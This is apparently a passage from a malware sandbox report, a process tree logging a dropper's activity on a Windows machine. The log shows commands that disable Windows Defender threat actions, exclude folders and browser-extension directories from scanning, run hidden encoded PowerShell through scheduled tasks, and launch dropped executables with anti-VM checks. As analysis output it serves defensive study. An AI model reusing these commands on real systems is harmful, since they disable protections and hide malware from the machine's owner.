                                            "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                            3⤵
                                            • System Location Discovery: System Language Discovery
                                            PID:640
                                            • C:\Windows\SysWOW64\reg.exe
                                              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                              4⤵
                                              • System Location Discovery: System Language Discovery
                                              PID:3676
                                          • C:\Windows\SysWOW64\reg.exe
                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                                            3⤵
                                            • System Location Discovery: System Language Discovery
                                            PID:4912
                                          • C:\Windows\SysWOW64\reg.exe
                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                            3⤵
                                              PID:2648
                                            • C:\Windows\SysWOW64\reg.exe
                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                              3⤵
                                                PID:2184
                                              • C:\Windows\SysWOW64\reg.exe
                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                                3⤵
                                                  PID:2020
                                                • C:\Windows\SysWOW64\reg.exe
                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                                  3⤵
                                                  • System Location Discovery: System Language Discovery
                                                  PID:2456
                                                • C:\Windows\SysWOW64\reg.exe
                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                                  3⤵
                                                    PID:1236
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                                    3⤵
                                                      PID:2388
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                                      3⤵
                                                      • System Location Discovery: System Language Discovery
                                                      PID:1804
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                                      3⤵
                                                      • System Location Discovery: System Language Discovery
                                                      PID:1040
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                      3⤵
                                                        PID:3052
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                        3⤵
                                                          PID:3552
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                          3⤵
                                                            PID:3332
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                            3⤵
                                                            • System Location Discovery: System Language Discovery
                                                            PID:1016
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                            3⤵
                                                            • System Location Discovery: System Language Discovery
                                                            PID:4156
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                            3⤵
                                                            • System Location Discovery: System Language Discovery
                                                            PID:2936
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                            3⤵
                                                            • System Location Discovery: System Language Discovery
                                                            PID:1084
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                            3⤵
                                                            • System Location Discovery: System Language Discovery
                                                            PID:4700
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                            3⤵
                                                              PID:4444
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                              3⤵
                                                              • System Location Discovery: System Language Discovery
                                                              PID:632
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                              3⤵
                                                                PID:4344
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                3⤵
                                                                  PID:4812
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                  3⤵
                                                                    PID:3264
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                    3⤵
                                                                    • System Location Discovery: System Language Discovery
                                                                    PID:5084
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                                    3⤵
                                                                    • System Location Discovery: System Language Discovery
                                                                    PID:2168
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                                    3⤵
                                                                    • System Location Discovery: System Language Discovery
                                                                    PID:4940
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                                    3⤵
                                                                      PID:844
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                                      3⤵
                                                                      • System Location Discovery: System Language Discovery
                                                                      PID:1728
                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                    powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\PkHXoyfIcMTU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\PkHXoyfIcMTU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\RJQEYlaXIdKEC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\RJQEYlaXIdKEC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\isELTbHVU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\isELTbHVU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\qUxPWOOJDmUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\qUxPWOOJDmUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\wcWwepsXFbYvlLqpBMR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\wcWwepsXFbYvlLqpBMR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\iUpcBoAnfROFusVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\iUpcBoAnfROFusVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\ZHHcBHyHcybDeGrGE\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\ZHHcBHyHcybDeGrGE\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\aPfXqghswcuHVtsm\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\aPfXqghswcuHVtsm\" /t REG_DWORD /d 0 /reg:64;"
                                                                    2⤵
                                                                    • Drops file in System32 directory
                                                                    • Modifies data under HKEY_USERS
                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:620
                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                      "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PkHXoyfIcMTU2" /t REG_DWORD /d 0 /reg:32
                                                                      3⤵
                                                                      • System Location Discovery: System Language Discovery
                                                                      PID:2932
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PkHXoyfIcMTU2" /t REG_DWORD /d 0 /reg:32
                                                                        4⤵
                                                                          PID:4116
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PkHXoyfIcMTU2" /t REG_DWORD /d 0 /reg:64
                                                                        3⤵
                                                                        • System Location Discovery: System Language Discovery
                                                                        PID:5024
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RJQEYlaXIdKEC" /t REG_DWORD /d 0 /reg:32
                                                                        3⤵
                                                                          PID:4648
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RJQEYlaXIdKEC" /t REG_DWORD /d 0 /reg:64
                                                                          3⤵
                                                                            PID:3120
                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\isELTbHVU" /t REG_DWORD /d 0 /reg:32
                                                                            3⤵
                                                                            • System Location Discovery: System Language Discovery
                                                                            PID:4400
                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\isELTbHVU" /t REG_DWORD /d 0 /reg:64
                                                                            3⤵
                                                                              PID:2176
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qUxPWOOJDmUn" /t REG_DWORD /d 0 /reg:32
                                                                              3⤵
                                                                                PID:3932
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qUxPWOOJDmUn" /t REG_DWORD /d 0 /reg:64
                                                                                3⤵
                                                                                  PID:4624
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\wcWwepsXFbYvlLqpBMR" /t REG_DWORD /d 0 /reg:32
                                                                                  3⤵
                                                                                    PID:3408
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\wcWwepsXFbYvlLqpBMR" /t REG_DWORD /d 0 /reg:64
                                                                                    3⤵
                                                                                      PID:3664
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\iUpcBoAnfROFusVB /t REG_DWORD /d 0 /reg:32
                                                                                      3⤵
                                                                                        PID:2380
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\iUpcBoAnfROFusVB /t REG_DWORD /d 0 /reg:64
                                                                                        3⤵
                                                                                          PID:3420
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                          3⤵
                                                                                          • System Location Discovery: System Language Discovery
                                                                                          PID:980
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                          3⤵
                                                                                            PID:2812
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                            3⤵
                                                                                            • System Location Discovery: System Language Discovery
                                                                                            PID:2724
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                            3⤵
                                                                                            • System Location Discovery: System Language Discovery
                                                                                            PID:4092
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\ZHHcBHyHcybDeGrGE /t REG_DWORD /d 0 /reg:32
                                                                                            3⤵
                                                                                              PID:2236
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\ZHHcBHyHcybDeGrGE /t REG_DWORD /d 0 /reg:64
                                                                                              3⤵
                                                                                                PID:1416
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\aPfXqghswcuHVtsm /t REG_DWORD /d 0 /reg:32
                                                                                                3⤵
                                                                                                  PID:4088
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\aPfXqghswcuHVtsm /t REG_DWORD /d 0 /reg:64
                                                                                                  3⤵
                                                                                                    PID:4720
                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                  schtasks /CREATE /TN "gizzUHgvB" /SC once /ST 00:16:21 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                  2⤵
                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                  PID:4696
                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                  schtasks /run /I /tn "gizzUHgvB"
                                                                                                  2⤵
                                                                                                    PID:4560
                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                    schtasks /DELETE /F /TN "gizzUHgvB"
                                                                                                    2⤵
                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                    PID:3648
                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                    schtasks /CREATE /TN "pihWnfNzBScFsSymW" /SC once /ST 07:36:29 /RU "SYSTEM" /TR "\"C:\Windows\Temp\aPfXqghswcuHVtsm\wcUhHWQGYwLkqOm\QAobnoH.exe\" VZ /HPAZdidpS 385104 /S" /V1 /F
                                                                                                    2⤵
                                                                                                    • Drops file in Windows directory
                                                                                                    • Scheduled Task/Job: Scheduled Task
                                                                                                    PID:3980
                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                    schtasks /run /I /tn "pihWnfNzBScFsSymW"
                                                                                                    2⤵
                                                                                                      PID:2604
                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 2116 -s 1012
                                                                                                      2⤵
                                                                                                      • Program crash
                                                                                                      PID:2200
                                                                                                  • C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
                                                                                                    C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
                                                                                                    1⤵
                                                                                                    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                                    • Checks BIOS information in registry
                                                                                                    • Executes dropped EXE
                                                                                                    • Identifies Wine through registry keys
                                                                                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                    PID:4092
                                                                                                  • C:\Users\Admin\AppData\Local\Temp\0ae19c9b3d\Hkbsse.exe
                                                                                                    C:\Users\Admin\AppData\Local\Temp\0ae19c9b3d\Hkbsse.exe
                                                                                                    1⤵
                                                                                                    • Executes dropped EXE
                                                                                                    PID:3936
                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                    1⤵
                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:3952
                                                                                                    • C:\Windows\system32\gpupdate.exe
                                                                                                      "C:\Windows\system32\gpupdate.exe" /force
                                                                                                      2⤵
                                                                                                        PID:216
                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                      C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                                                                      1⤵
                                                                                                        PID:1064
                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                        C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                        1⤵
                                                                                                          PID:2352
                                                                                                        • C:\Windows\system32\gpscript.exe
                                                                                                          gpscript.exe /RefreshSystemParam
                                                                                                          1⤵
                                                                                                            PID:5076
                                                                                                          • C:\Windows\Temp\aPfXqghswcuHVtsm\wcUhHWQGYwLkqOm\QAobnoH.exe
                                                                                                            C:\Windows\Temp\aPfXqghswcuHVtsm\wcUhHWQGYwLkqOm\QAobnoH.exe VZ /HPAZdidpS 385104 /S
                                                                                                            1⤵
                                                                                                            • Checks computer location settings
                                                                                                            • Executes dropped EXE
                                                                                                            • Drops Chrome extension
                                                                                                            • Drops file in System32 directory
                                                                                                            • Drops file in Program Files directory
                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                            • Modifies data under HKEY_USERS
                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                            PID:1164
                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                              "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                              2⤵
                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                              PID:4316
                                                                                                              • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                                                                                3⤵
                                                                                                                • Indirect Command Execution
                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                PID:4964
                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                  4⤵
                                                                                                                    PID:5092
                                                                                                                    • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                      5⤵
                                                                                                                        PID:4968
                                                                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                                                                    3⤵
                                                                                                                    • Indirect Command Execution
                                                                                                                    PID:712
                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                      4⤵
                                                                                                                        PID:772
                                                                                                                        • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                          5⤵
                                                                                                                            PID:3996
                                                                                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                                                                        3⤵
                                                                                                                        • Indirect Command Execution
                                                                                                                        PID:1640
                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                          /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                          4⤵
                                                                                                                            PID:4668
                                                                                                                            • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                              5⤵
                                                                                                                                PID:5048
                                                                                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                            forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                                                                            3⤵
                                                                                                                            • Indirect Command Execution
